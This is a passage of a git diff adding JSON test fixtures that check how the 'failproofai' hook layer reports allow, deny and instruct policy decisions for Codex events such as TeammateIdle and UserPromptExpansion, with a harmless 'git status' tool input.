"hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/TeammateIdle/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/TeammateIdle/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..36fe251f --- /dev/null +++ b/__tests__/parity/fixtures/codex/TeammateIdle/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/TeammateIdle/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/TeammateIdle/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..093f54e8 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TeammateIdle/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TeammateIdle/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/TeammateIdle/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..3fcdf752 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TeammateIdle/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TeammateIdle/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/TeammateIdle/deny__tool-present__one-policy.json new file mode 100644 index 00000000..39a36b57 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TeammateIdle/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/TeammateIdle/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/TeammateIdle/deny__tool-present__two-policies.json new file mode 100644 index 00000000..754aaee3 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TeammateIdle/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/TeammateIdle/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/TeammateIdle/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..41ca51b2 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TeammateIdle/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TeammateIdle\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TeammateIdle/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/TeammateIdle/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..ccb30a92 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TeammateIdle/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TeammateIdle\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TeammateIdle/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/TeammateIdle/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..7ad029ff --- /dev/null +++ b/__tests__/parity/fixtures/codex/TeammateIdle/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TeammateIdle\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/TeammateIdle/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/TeammateIdle/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..3fff3622 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TeammateIdle/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TeammateIdle\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..f703f377 --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..2c84b238 --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..bcfb94d8 --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..7bfdf35f --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..0de97aba --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..6717a6e5 --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..cedbec62 --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..714dbecd --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptExpansion/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/UserPromptExpansion/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..964be50b --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptExpansion/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptExpansion/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/UserPromptExpansion/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..ab952ed0 --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptExpansion/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": 